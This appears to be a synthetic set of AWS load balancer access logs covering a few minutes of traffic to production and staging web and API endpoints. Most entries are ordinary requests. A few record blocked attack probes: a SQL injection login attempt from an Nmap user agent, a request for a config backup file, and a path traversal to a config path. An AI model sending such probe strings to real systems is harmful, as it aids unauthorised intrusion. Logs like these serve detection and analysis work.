0.039439 0.313682 0.086294 302 302 916 3757 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ae-bd2766ecb2c04f40b02504d6" "prod-web-alb.example.com" "-" 0 2024-11-01T02:04:14.176071Z "forward" "-" "-" "10.0.238.97:443" "302" "-" "-" -https 2024-11-01T02:04:15.047989Z prod-web-alb 76.223.44.168:30735 10.0.6.194:443 0.079515 0.154375 0.068582 302 302 544 12276 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4af-61e1596b1f09431d8fd86f04" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:15.047989Z "forward" "-" "-" "10.0.6.194:443" "302" "-" "-" -https 2024-11-01T02:04:15.807823Z prod-web-alb 59.248.132.150:10644 10.0.94.183:443 0.096036 0.239531 0.089222 200 200 285 9016 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4af-bf7c89fa54604fd18a00877c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:04:15.807823Z "forward" "-" "-" "10.0.94.183:443" "200" "-" "-" -https 2024-11-01T02:04:16.616304Z staging-alb 185.181.129.31:50975 39.253.142.182:443 0.070771 0.398518 0.057731 403 403 928 12682 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b0-6b151077e02f496c81706c7e" "-" "-" 4 2024-11-01T02:04:16.616304Z "forward" "-" "-" "39.253.142.182:443" "403" "-" "-" -https 2024-11-01T02:04:16.782431Z prod-web-alb 218.75.174.180:10058 10.0.75.136:443 0.051922 0.288127 0.002089 200 200 141 5863 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4b0-7eaf1fd437da48ee98f9bd3a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:16.782431Z "forward" "-" "-" "10.0.75.136:443" "200" "-" "-" -http 2024-11-01T02:04:18.579383Z staging-alb 182.109.36.175:61578 147.156.117.73:80 0.120583 0.668577 0.034786 200 200 96 5511 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b2-b564a29e931a40e7b9c30888" "staging-alb.example.com" "-" 6 2024-11-01T02:04:18.579383Z "forward" "-" "-" "147.156.117.73:80" "200" "-" "-" -http 2024-11-01T02:04:20.531955Z staging-alb 50.3.187.120:57355 203.174.162.164:8080 0.115506 0.121531 0.096553 200 200 144 5407 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4b4-fcceba1fee4e4b5983b37ac1" "staging-alb.example.com" "-" 0 2024-11-01T02:04:20.531955Z "forward" "-" "-" "203.174.162.164:8080" "200" "-" "-" -http 2024-11-01T02:04:21.919729Z staging-alb 69.108.89.224:49796 88.31.209.22:8080 0.013211 0.583456 0.022702 404 404 673 7677 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4b5-ae8379b727dc4c6fa6eda411" "staging-alb.example.com" "-" 10 2024-11-01T02:04:21.919729Z "forward" "-" "-" "88.31.209.22:8080" "404" "-" "-" -https 2024-11-01T02:04:22.127657Z staging-alb 180.174.26.73:54876 205.148.239.96:443 0.137670 0.292574 0.060481 302 302 556 4686 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b6-e5bd53aa72b64b85bb1e0359" "staging-alb.example.com" "-" 0 2024-11-01T02:04:22.127657Z "forward" "-" "-" "205.148.239.96:443" "302" "-" "-" -http 2024-11-01T02:04:22.644656Z staging-alb 219.166.190.193:46193 86.227.54.178:443 0.098136 0.587440 0.149014 200 200 354 10679 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b6-5f54962dd8844abc829b8eac" "staging-alb.example.com" "-" 4 2024-11-01T02:04:22.644656Z "forward" "-" "-" "86.227.54.178:443" "200" "-" "-" -https 2024-11-01T02:04:24.247819Z staging-alb 230.209.148.9:15934 245.191.177.63:8080 0.069350 0.076478 0.088154 200 200 783 2394 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4b8-2f8e43c7670b4c4c9f59c26a" "staging-alb.example.com" "-" 10 2024-11-01T02:04:24.247819Z "forward" "-" "-" "245.191.177.63:8080" "200" "-" "-" -https 2024-11-01T02:04:24.506046Z prod-api-alb 74.33.173.93:23912 10.0.20.88:443 0.087275 0.466635 0.082237 200 200 350 8601 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4b8-2afd8f5ff03b4417b7ff3e37" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:24.506046Z "forward" "-" "-" "10.0.20.88:443" "200" "-" "-" -https 2024-11-01T02:04:24.740885Z prod-api-alb 156.226.167.35:35736 10.0.188.157:443 0.034862 0.265950 0.033310 404 404 929 13999 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4b8-9ef1c02e82664e05928d4e16" "prod-api-alb.example.com" "-" 4 2024-11-01T02:04:24.740885Z "forward" "-" "-" "10.0.188.157:443" "404" "-" "-" -https 2024-11-01T02:04:25.150873Z prod-api-alb 8.234.163.2:33987 10.0.5.38:443 0.015996 0.099266 0.004190 404 404 529 2624 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4b9-a2412c224e0240f299ed5bf8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:25.150873Z "forward" "-" "-" "10.0.5.38:443" "404" "-" "-" -https 2024-11-01T02:04:25.347986Z staging-alb 227.31.44.147:44274 53.166.180.230:443 0.095877 0.392192 0.096854 200 200 474 13098 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b9-6798b14b80334551a604b281" "staging-alb.example.com" "-" 6 2024-11-01T02:04:25.347986Z "forward" "-" "-" "53.166.180.230:443" "200" "-" "-" -https 2024-11-01T02:04:27.156120Z prod-web-alb 107.148.23.68:60752 10.0.93.244:443 0.080276 0.470911 0.049708 404 404 217 9443 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4bb-09168488564a4d10a1893f83" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:27.156120Z "forward" "-" "-" "10.0.93.244:443" "404" "-" "-" -https 2024-11-01T02:04:28.861762Z prod-web-alb 33.43.1.200:23292 10.0.238.254:443 0.031011 0.071520 0.064078 200 200 156 9913 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4bc-b82737f53b2249989f091793" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:28.861762Z "forward" "-" "-" "10.0.238.254:443" "200" "-" "-" -http 2024-11-01T02:04:29.825921Z staging-alb 248.128.27.104:48466 68.54.12.226:8080 0.099496 0.308788 0.062478 200 200 560 9081 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4bd-f75e092bd2724bd791b0d5e8" "staging-alb.example.com" "-" 4 2024-11-01T02:04:29.825921Z "forward" "-" "-" "68.54.12.226:8080" "200" "-" "-" -https 2024-11-01T02:04:31.796005Z prod-api-alb 175.211.147.5:39543 10.0.43.188:443 0.014921 0.480610 0.057167 302 302 212 11430 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4bf-e520f8e848144bbfb7190952" "prod-api-alb.example.com" "-" 8 2024-11-01T02:04:31.796005Z "forward" "-" "-" "10.0.43.188:443" "302" "-" "-" -https 2024-11-01T02:04:32.042266Z staging-alb 89.62.200.110:17273 55.129.115.191:443 0.049380 0.415671 0.056784 200 200 106 5108 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4c0-7541021ddcf24378a220b45a" "staging-alb.example.com" "-" 3 2024-11-01T02:04:32.042266Z "forward" "-" "-" "55.129.115.191:443" "200" "-" "-" -https 2024-11-01T02:04:32.393152Z prod-api-alb 156.67.239.114:53074 10.0.83.220:443 0.092409 0.141077 0.088596 301 301 171 5237 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4c0-342e38ddac4d48ff86c1b0af" "prod-api-alb.example.com" "-" 6 2024-11-01T02:04:32.393152Z "forward" "-" "-" "10.0.83.220:443" "301" "-" "-" -http 2024-11-01T02:04:33.205754Z staging-alb 236.49.255.150:47691 122.51.225.25:443 0.056392 0.664759 0.066196 302 302 499 12291 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4c1-b70355372c0d43b88c66590e" "staging-alb.example.com" "-" 5 2024-11-01T02:04:33.205754Z "forward" "-" "-" "122.51.225.25:443" "302" "-" "-" -https 2024-11-01T02:04:34.970292Z prod-api-alb 75.149.78.84:45857 10.0.236.191:443 0.094602 0.292230 0.077942 301 301 96 4683 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4c2-ca6817df967645608825e4d9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:34.970292Z "forward" "-" "-" "10.0.236.191:443" "301" "-" "-" -https 2024-11-01T02:04:35.099720Z prod-api-alb 171.149.108.136:57715 10.0.103.23:443 0.046685 0.403237 0.052250 200 200 181 14936 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4c3-27cd33e5e4c742f6b9b5b45a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:35.099720Z "forward" "-" "-" "10.0.103.23:443" "200" "-" "-" -https 2024-11-01T02:04:36.651794Z staging-alb 111.46.205.149:39878 28.106.144.236:8080 0.128419 0.611756 0.048527 200 200 756 13916 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4c4-314d7e952b22483db1794117" "staging-alb.example.com" "-" 5 2024-11-01T02:04:36.651794Z "forward" "-" "-" "28.106.144.236:8080" "200" "-" "-" -https 2024-11-01T02:04:38.067459Z prod-api-alb 87.254.154.191:42519 10.0.249.75:443 0.081915 0.478983 0.094371 200 200 202 11271 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4c6-16363074d4a94d5fb20cd35f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:04:38.067459Z "forward" "-" "-" "10.0.249.75:443" "200" "-" "-" -https 2024-11-01T02:04:39.847112Z prod-api-alb 185.181.15.100:22609 10.0.145.57:443 0.088122 0.047681 0.064601 403 403 51 5421 "GET /config.php~ HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4c7-4e6cab815f0b47e1bb50067b" "-" "-" 1 2024-11-01T02:04:39.847112Z "forward" "-" "-" "10.0.145.57:443" "403" "-" "-" -https 2024-11-01T02:04:41.596470Z prod-web-alb 76.240.224.138:10374 10.0.105.167:443 0.090453 0.114414 0.036900 200 200 26 9558 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4c9-7e50a3876a8642e7a3a5103d" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:41.596470Z "forward" "-" "-" "10.0.105.167:443" "200" "-" "-" -https 2024-11-01T02:04:42.749901Z prod-api-alb 98.148.74.82:26477 10.0.106.220:443 0.047268 0.387777 0.017846 200 200 996 6762 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ca-9affd22826254be0bf0d523f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:04:42.749901Z "forward" "-" "-" "10.0.106.220:443" "200" "-" "-" -https 2024-11-01T02:04:44.324814Z prod-web-alb 248.206.196.19:15526 10.0.134.143:443 0.024240 0.074247 0.054998 200 200 181 12674 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4cc-26584e02b3294958aedd147c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:04:44.324814Z "forward" "-" "-" "10.0.134.143:443" "200" "-" "-" -https 2024-11-01T02:04:45.990745Z prod-web-alb 190.170.5.123:43517 10.0.80.42:443 0.008611 0.017231 0.042423 301 301 406 10731 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4cd-cc4d1472d4c4481f92a8a5b3" "prod-web-alb.example.com" "-" 8 2024-11-01T02:04:45.990745Z "forward" "-" "-" "10.0.80.42:443" "301" "-" "-" -https 2024-11-01T02:04:46.356071Z prod-api-alb 29.234.171.223:47321 10.0.1.118:443 0.062688 0.244980 0.054431 200 200 426 5802 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ce-39e6b658e9cc4aad8668793b" "prod-api-alb.example.com" "-" 9 2024-11-01T02:04:46.356071Z "forward" "-" "-" "10.0.1.118:443" "200" "-" "-" -https 2024-11-01T02:04:47.994849Z staging-alb 51.95.145.185:35791 22.0.214.73:8080 0.004649 0.356429 0.031670 200 200 276 13432 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4cf-ebd2ff615a214cbd805715e5" "staging-alb.example.com" "-" 5 2024-11-01T02:04:47.994849Z "forward" "-" "-" "22.0.214.73:8080" "200" "-" "-" -https 2024-11-01T02:04:48.402513Z prod-web-alb 24.237.249.248:44631 10.0.116.178:443 0.068458 0.247732 0.016908 302 302 720 7126 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4d0-8693b87f4e5e443d8a4d9722" "prod-web-alb.example.com" "-" 0 2024-11-01T02:04:48.402513Z "forward" "-" "-" "10.0.116.178:443" "302" "-" "-" -https 2024-11-01T02:04:49.307309Z prod-api-alb 34.239.230.213:62953 10.0.69.130:443 0.047649 0.227620 0.006622 200 200 80 324 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d1-8bf492a61d1b4197be3a0603" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:49.307309Z "forward" "-" "-" "10.0.69.130:443" "200" "-" "-" -https 2024-11-01T02:04:50.433159Z prod-web-alb 175.126.18.222:53569 10.0.86.46:443 0.036648 0.451875 0.066934 301 301 1 3118 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4d2-44003f5941ac43a4bd49e6e8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:50.433159Z "forward" "-" "-" "10.0.86.46:443" "301" "-" "-" -https 2024-11-01T02:04:50.676906Z prod-web-alb 190.250.131.119:53680 10.0.239.160:443 0.039106 0.249214 0.076883 404 404 175 10029 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4d2-19a7b0a8ddbf4b9babbcaf60" "prod-web-alb.example.com" "-" 7 2024-11-01T02:04:50.676906Z "forward" "-" "-" "10.0.239.160:443" "404" "-" "-" -https 2024-11-01T02:04:52.337042Z staging-alb 12.52.143.219:31290 24.88.169.46:8080 0.018992 0.343499 0.070727 302 302 913 13724 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4d4-687077038cbf4bee8c45831b" "staging-alb.example.com" "-" 4 2024-11-01T02:04:52.337042Z "forward" "-" "-" "24.88.169.46:8080" "302" "-" "-" -https 2024-11-01T02:04:53.802461Z prod-api-alb 46.220.121.136:36109 10.0.218.61:443 0.063842 0.496343 0.061671 200 200 379 4888 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4d5-2db671ab78df4bceb2e378f4" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:53.802461Z "forward" "-" "-" "10.0.218.61:443" "200" "-" "-" -http 2024-11-01T02:04:54.388490Z staging-alb 172.228.76.194:37851 231.127.232.230:8080 0.009282 0.297419 0.011218 301 301 584 14519 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4d6-6ae2cdb59c584a5f992f746a" "staging-alb.example.com" "-" 9 2024-11-01T02:04:54.388490Z "forward" "-" "-" "231.127.232.230:8080" "301" "-" "-" -https 2024-11-01T02:04:55.170676Z prod-api-alb 140.150.206.140:37113 10.0.242.251:443 0.000383 0.439864 0.062882 301 301 831 12324 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d7-980e6b5d904542b1a1e4ae76" "prod-api-alb.example.com" "-" 6 2024-11-01T02:04:55.170676Z "forward" "-" "-" "10.0.242.251:443" "301" "-" "-" -https 2024-11-01T02:04:55.679228Z prod-api-alb 69.174.46.18:56029 10.0.251.31:443 0.097732 0.154417 0.016129 200 200 790 9637 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d7-269590a3320c4faf96604349" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:55.679228Z "forward" "-" "-" "10.0.251.31:443" "200" "-" "-" -https 2024-11-01T02:04:56.764339Z prod-api-alb 39.16.55.125:39672 10.0.161.184:443 0.052430 0.353359 0.024879 301 301 734 7734 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d8-2c3d04aaa4124ce39c03d735" "prod-api-alb.example.com" "-" 7 2024-11-01T02:04:56.764339Z "forward" "-" "-" "10.0.161.184:443" "301" "-" "-" -http 2024-11-01T02:04:57.498717Z staging-alb 89.39.180.50:21929 188.127.128.160:443 0.084315 0.622864 0.118153 404 404 508 6789 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4d9-0729fb11b9d34157970f12e3" "staging-alb.example.com" "-" 1 2024-11-01T02:04:57.498717Z "forward" "-" "-" "188.127.128.160:443" "404" "-" "-" -https 2024-11-01T02:04:58.367246Z prod-web-alb 138.72.104.138:53993 10.0.135.46:443 0.025538 0.344032 0.044049 301 301 228 10894 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4da-4ade1e326f0145b2a2fe328c" "prod-web-alb.example.com" "-" 3 2024-11-01T02:04:58.367246Z "forward" "-" "-" "10.0.135.46:443" "301" "-" "-" -https 2024-11-01T02:04:59.007526Z prod-web-alb 136.130.205.239:13236 10.0.142.73:443 0.022312 0.289045 0.017683 200 200 173 12276 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4db-2c0c89eda3694d86942c56cc" "prod-web-alb.example.com" "-" 5 2024-11-01T02:04:59.007526Z "forward" "-" "-" "10.0.142.73:443" "200" "-" "-" -https 2024-11-01T02:05:00.382124Z prod-api-alb 175.27.150.153:20544 10.0.185.188:443 0.021326 0.359034 0.002338 301 301 880 6364 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4dc-b47e7804ee194f6c86d25698" "prod-api-alb.example.com" "-" 7 2024-11-01T02:05:00.382124Z "forward" "-" "-" "10.0.185.188:443" "301" "-" "-" -https 2024-11-01T02:05:00.800965Z prod-web-alb 193.27.228.146:42306 10.0.81.19:443 0.042175 0.408438 0.001463 403 403 731 11708 "GET /api/../../../config HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4dc-99174272bb34421fb712d7e2" "-" "-" 6 2024-11-01T02:05:00.800965Z "forward" "-" "-" 